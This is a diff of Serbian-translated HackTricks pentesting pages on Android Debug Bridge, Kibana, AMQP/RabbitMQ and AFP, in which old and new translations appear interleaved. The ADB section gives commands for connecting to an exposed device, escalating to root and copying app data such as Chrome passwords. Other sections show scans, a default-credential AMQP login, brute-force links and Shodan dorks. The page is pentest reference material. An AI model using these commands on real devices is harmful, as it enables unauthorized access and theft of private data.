* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,69 +1,71 @@
# 5555 - Android Debug Bridge
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Osnovne informacije
## Basic Information
Iz [dokumentacije](https://developer.android.com/studio/command-line/adb):
From [the docs](https://developer.android.com/studio/command-line/adb):
**Android Debug Bridge** (adb) je svestran alat za komandnu liniju koji vam omogućava komunikaciju sa uređajem. adb komanda omogućava razne radnje na uređaju, kao što su **instaliranje i debagovanje aplikacija**, i pruža **pristup Unix shell-u** koji možete koristiti za izvršavanje raznih komandi na uređaju.
**Android Debug Bridge** (adb) je svestran alat za komandnu liniju koji vam omogućava komunikaciju sa uređajem. adb komanda olakšava razne radnje na uređaju, kao što su **instalacija i debagovanje aplikacija**, i pruža **pristup Unix shell-u** koji možete koristiti za izvršavanje raznih komandi na uređaju.
**Podrazumevani port**: 5555.
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
## Povezivanje
## Connect
Ako pronađete ADB uslugu koja radi na određenom portu uređaja i možete se povezati s njom, **možete dobiti pristup ljusci unutar sistema:**
Ako pronađete ADB servis koji radi na portu uređaja i možete se povezati na njega, **možete dobiti shell unutar sistema:**
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
```
Za više ADB komandi pogledajte sledeću stranicu:
Za više ADB komandi proverite sledeću stranicu:
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
{% endcontent-ref %}
### Dumpovanje podataka aplikacije
### Ispis podataka aplikacije
Da biste potpuno preuzeli podatke neke aplikacije, možete:
Da biste potpuno preuzeli podatke aplikacije, možete:
```bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
```
Možete koristiti ovu tehniku da **dobijete osetljive informacije poput Chrome lozinki**. Za više informacija o tome, proverite informacije i reference koje su dostupne [**ovde**](https://github.com/carlospolop/hacktricks/issues/274).
Možete koristiti ovu trik da **dobijete osetljive informacije kao što su chrome lozinke**. Za više informacija o ovome proverite informacije u referencama [**ovde**](https://github.com/carlospolop/hacktricks/issues/274).
## Shodan
* `android debug bridge`
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini da podržite HackTricks:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,53 +1,55 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite videti **vašu kompaniju oglašenu na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Osnovne informacije
Kibana je poznata po svojoj sposobnosti pretrage i vizualizacije podataka unutar Elasticsearch-a, obično pokrenuta na portu **5601**. Ona služi kao interfejs za nadgledanje, upravljanje i sigurnosne funkcije klastera Elastic Stack-a.
Kibana je poznata po svojoj sposobnosti da pretražuje i vizualizuje podatke unutar Elasticsearch-a, obično radi na portu **5601**. Ona služi kao interfejs za nadgledanje, upravljanje i bezbednosne funkcije Elastic Stack klastera.
## Razumevanje autentifikacije
Proces autentifikacije u Kibani je inherentno povezan sa **povernicama koje se koriste u Elasticsearch-u**. Ako je autentifikacija Elasticsearch-a onemogućena, Kibana se može pristupiti bez ikakvih povernica. S druge strane, ako je Elasticsearch obezbeđen povernicama, iste povernice su potrebne za pristup Kibani, održavajući iste korisničke dozvole na oba sistema. Povernice se mogu pronaći u datoteci **/etc/kibana/kibana.yml**. Ako ove povernice ne pripadaju korisniku **kibana_system**, one mogu pružiti šire dozvole pristupa, budući da je pristup korisnika kibana_system ograničen na monitoring API-je i .kibana indeks.
Proces autentifikacije u Kibani je inherentno povezan sa **akreditivima korišćenim u Elasticsearch-u**. Ako je autentifikacija u Elasticsearch-u onemogućena, Kibana se može pristupiti bez ikakvih akreditiva. S druge strane, ako je Elasticsearch zaštićen akreditivima, isti akreditivi su potrebni za pristup Kibani, održavajući identične korisničke dozvole na obe platforme. Akreditivi se mogu naći u **/etc/kibana/kibana.yml** datoteci. Ako ovi akreditivi ne pripadaju **kibana_system** korisniku, mogu pružiti šire pristupne privilegije, jer je pristup kibana_system korisnika ograničen na nadgledanje API-ja i .kibana indeks.
## Radnje nakon pristupa
## Akcije nakon pristupa
Kada je pristup Kibani obezbeđen, nekoliko radnji je preporučljivo preduzeti:
Kada je pristup Kibani obezbeđen, nekoliko akcija je preporučljivo:
- Istraživanje podataka iz Elasticsearch-a trebalo bi biti prioritet.
- Istraživanje podataka iz Elasticsearch-a treba da bude prioritet.
- Mogućnost upravljanja korisnicima, uključujući uređivanje, brisanje ili kreiranje novih korisnika, uloga ili API ključeva, nalazi se pod Stack Management -> Users/Roles/API Keys.
- Važno je proveriti instaliranu verziju Kibane radi poznatih ranjivosti, kao što je ranjivost RCE identifikovana u verzijama pre 6.6.0 ([Više informacija](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
- Važno je proveriti instaliranu verziju Kibane zbog poznatih ranjivosti, kao što je RCE ranjivost identifikovana u verzijama pre 6.6.0 ([Više informacija](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
## SSL/TLS razmatranja
U slučajevima kada SSL/TLS nije omogućen, potencijal za otkrivanje osetljivih informacija treba pažljivo proceniti.
U slučajevima kada SSL/TLS nije omogućen, potencijal za curenje osetljivih informacija treba temeljno proceniti.
## Reference
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite videti **vašu kompaniju oglašenu na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# 5671,5672 - Pentesting AMQP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Osnovne informacije
## Basic Information
Sa [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
From [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
> **RabbitMQ** je **softver za redove poruka** poznat i kao _message broker_ ili _queue manager_. Jednostavno rečeno, to je softver gde se definišu redovi, na koje se aplikacije povezuju kako bi prenele poruku ili poruke.\
> Poruka može sadržati bilo kakvu vrstu informacija. Na primer, može sadržati informacije o procesu ili zadatku koji treba da se pokrene na drugoj aplikaciji (koja može biti čak i na drugom serveru), ili može biti samo jednostavna tekstualna poruka. Softver za upravljanje redovima poruka čuva poruke dok se poveže aplikacija koja prima poruku i preuzme je sa reda. Zatim, aplikacija koja prima poruku obrađuje poruku.\
Definicija sa .
> **RabbitMQ** je **softver za redove poruka** poznat i kao _posrednik poruka_ ili _menadžer redova._ Jednostavno rečeno; to je softver gde su definisani redovi, na koje se aplikacije povezuju kako bi preneli poruku ili poruke.\
> **Poruka može uključivati bilo koju vrstu informacija**. Na primer, može sadržati informacije o procesu ili zadatku koji treba da se pokrene na drugoj aplikaciji (koja može biti čak i na drugom serveru), ili može biti samo jednostavna tekstualna poruka. Softver menadžera redova čuva poruke dok se aplikacija prima ne poveže i ne uzme poruku iz reda. Aplikacija koja prima zatim obrađuje poruku.\
Definition from .
**Podrazumevani port**: 5672,5671
**Default port**: 5672,5671
```
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
```
## Enumeracija
## Enumeration
### Ručna
### Manual
```python
import amqp
#By default it uses default credentials "guest":"guest"
@ -38,49 +39,7 @@ conn.connect()
for k, v in conn.server_properties.items():
print(k, v)
```
### Automatsko
Automatsko testiranje je proces u kojem se koriste alati i skripte za automatizaciju testiranja mrežnih servisa. Ovo omogućava brže i efikasnije testiranje, smanjujući potrebu za ručnim intervencijama. Automatsko testiranje može se koristiti za provjeru sigurnosti AMQP (Advanced Message Queuing Protocol) servisa na portovima 5671 i 5672.
#### Alati za automatsko testiranje AMQP servisa
Postoji nekoliko alata koji se mogu koristiti za automatsko testiranje AMQP servisa:
- **RabbitMQ Management Plugin**: Ovaj alat pruža web sučelje za upravljanje RabbitMQ serverom. Može se koristiti za provjeru statusa i konfiguracije AMQP servisa.
- **amqp-tools**: Ovaj alat pruža skup komandi za interakciju s AMQP servisima. Može se koristiti za slanje i primanje poruka, kao i za provjeru statusa i konfiguracije servisa.
- **nmap**: Ovaj alat se može koristiti za skeniranje otvorenih portova na ciljnom sustavu. Može se koristiti za otkrivanje AMQP servisa na portovima 5671 i 5672.
#### Automatsko testiranje AMQP servisa
Automatsko testiranje AMQP servisa može se provesti koristeći alate i skripte za slanje i primanje poruka, provjeru statusa i konfiguracije servisa, kao i za otkrivanje ranjivosti. Ovi alati omogućavaju brzo i efikasno testiranje sigurnosti AMQP servisa na portovima 5671 i 5672.
#### Primjer automatskog testiranja AMQP servisa
Evo primjera kako se može provesti automatsko testiranje AMQP servisa koristeći alat amqp-tools:
1. Instalirajte amqp-tools na svoj sustav.
2. Pokrenite naredbu `amqp-consume` kako biste primili poruke s AMQP servisa.
```
amqp-consume -u amqp://username:password@hostname:5672/queue_name
```
3. Pokrenite naredbu `amqp-publish` kako biste poslali poruku na AMQP servis.
```
amqp-publish -u amqp://username:password@hostname:5672/queue_name -b "Hello, World!"
```
4. Provjerite status i konfiguraciju AMQP servisa koristeći naredbu `amqp-info`.
```
amqp-info -u amqp://username:password@hostname:5672
```
Ovaj primjer pokazuje kako se može koristiti alat amqp-tools za automatizaciju testiranja AMQP servisa. Slično tome, možete koristiti i druge alate i skripte za automatizaciju testiranja AMQP servisa na portovima 5671 i 5672.
### Automatski
```bash
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
@ -102,38 +61,39 @@ PORT STATE SERVICE VERSION
```
### Brute Force
* [**Brute-Force AMQP protokola**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
* [**Brute-Force STOMP protokola**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
* [**AMQP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
* [**STOMP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
## Ostali RabbitMQ portovi
Na [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) možete pronaći da **rabbitmq koristi nekoliko portova**:
* **1883, 8883**: ([MQTT klijenti](http://mqtt.org) bez i sa TLS-om, ako je [MQTT plugin](https://www.rabbitmq.com/mqtt.html) omogućen. [**Saznajte više o pentestiranju MQTT-a ovde**](1883-pentesting-mqtt-mosquitto.md).
* **4369: epmd**, servis za otkrivanje čvorova koji se koristi od strane RabbitMQ čvorova i CLI alata. [**Saznajte više o pentestiranju ovog servisa ovde**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
* **5672, 5671**: koristi se od strane AMQP 0-9-1 i 1.0 klijenata bez i sa TLS-om
* **15672**: klijenti [HTTP API](https://www.rabbitmq.com/management.html), [management UI](https://www.rabbitmq.com/management.html) i [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (samo ako je [management plugin](https://www.rabbitmq.com/management.html) omogućen). [**Saznajte više o pentestiranju ovog servisa ovde**](15672-pentesting-rabbitmq-management.md).
* 15674: klijenti STOMP preko WebSockets-a (samo ako je [Web STOMP plugin](https://www.rabbitmq.com/web-stomp.html) omogućen)
* 15675: klijenti MQTT preko WebSockets-a (samo ako je [Web MQTT plugin](https://www.rabbitmq.com/web-mqtt.html) omogućen)
* **1883, 8883**: ([MQTT klijenti](http://mqtt.org) bez i sa TLS, ako je [MQTT plugin](https://www.rabbitmq.com/mqtt.html) omogućen. [**Saznajte više o tome kako da pentestujete MQTT ovde**](1883-pentesting-mqtt-mosquitto.md).
* **4369: epmd**, usluga otkrivanja peer-a koju koriste RabbitMQ čvorovi i CLI alati. [**Saznajte više o tome kako da pentestujete ovu uslugu ovde**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
* **5672, 5671**: koriste AMQP 0-9-1 i 1.0 klijenti bez i sa TLS
* **15672**: [HTTP API](https://www.rabbitmq.com/management.html) klijenti, [menadžerski UI](https://www.rabbitmq.com/management.html) i [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (samo ako je [menadžerski plugin](https://www.rabbitmq.com/management.html) omogućen). [**Saznajte više o tome kako da pentestujete ovu uslugu ovde**](15672-pentesting-rabbitmq-management.md).
* 15674: STOMP-preko-WebSockets klijenti (samo ako je [Web STOMP plugin](https://www.rabbitmq.com/web-stomp.html) omogućen)
* 15675: MQTT-preko-WebSockets klijenti (samo ako je [Web MQTT plugin](https://www.rabbitmq.com/web-mqtt.html) omogućen)
* 15692: Prometheus metrike (samo ako je [Prometheus plugin](https://www.rabbitmq.com/prometheus.html) omogućen)
* 25672: koristi se za komunikaciju između čvorova i CLI alata (Erlang distribucijski server port) i dodeljuje se iz dinamičkog opsega (podrazumevano ograničeno na jedan port, izračunato kao AMQP port + 20000). Ovi portovi ne bi trebali biti javno izloženi osim ako eksterne veze na ovim portovima zaista nisu neophodne (na primer, klaster koristi [federaciju](https://www.rabbitmq.com/federation.html) ili se CLI alati koriste na mašinama van podmreže). Pogledajte [vodič o mrežnom povezivanju](https://www.rabbitmq.com/networking.html) za detalje. **Samo 9 od ovih portova je otvoreno na internetu**.
* 35672-35682: koristi se od strane CLI alata (Erlang distribucijski klijentski portovi) za komunikaciju sa čvorovima i dodeljuje se iz dinamičkog opsega (izračunato kao server distribucijski port + 10000 do server distribucijski port + 10010). Pogledajte [vodič o mrežnom povezivanju](https://www.rabbitmq.com/networking.html) za detalje.
* 61613, 61614: [STOMP klijenti](https://stomp.github.io/stomp-specification-1.2.html) bez i sa TLS-om (samo ako je [STOMP plugin](https://www.rabbitmq.com/stomp.html) omogućen). Manje od 10 uređaja sa ovim otvorenim portom i uglavnom UDP za DHT čvorove.
* 25672: koristi se za komunikaciju između čvorova i CLI alata (Erlang distribucioni server port) i dodeljuje se iz dinamičkog opsega (ograničeno na jedan port po defaultu, izračunato kao AMQP port + 20000). Osim ako su eksterni konekcije na ovim portovima zaista neophodne (npr. klaster koristi [federaciju](https://www.rabbitmq.com/federation.html) ili se CLI alati koriste na mašinama van podmreže), ovi portovi ne bi trebali biti javno izloženi. Pogledajte [vodič za umrežavanje](https://www.rabbitmq.com/networking.html) za detalje. **Samo 9 od ovih portova otvoreno na internetu**.
* 35672-35682: koriste se od strane CLI alata (Erlang distribucioni klijent portovi) za komunikaciju sa čvorovima i dodeljuju se iz dinamičkog opsega (izračunato kao port distribucije servera + 10000 do port distribucije servera + 10010). Pogledajte [vodič za umrežavanje](https://www.rabbitmq.com/networking.html) za detalje.
* 61613, 61614: [STOMP klijenti](https://stomp.github.io/stomp-specification-1.2.html) bez i sa TLS (samo ako je [STOMP plugin](https://www.rabbitmq.com/stomp.html) omogućen). Manje od 10 uređaja sa ovim portom otvorenim i uglavnom UDP za DHT čvorove.
## Shodan
* `AMQP`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
# 548 - Pentestiranje Apple Filing Protocol (AFP)
# 548 - Pentesting Apple Filing Protocol (AFP)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Osnovne informacije
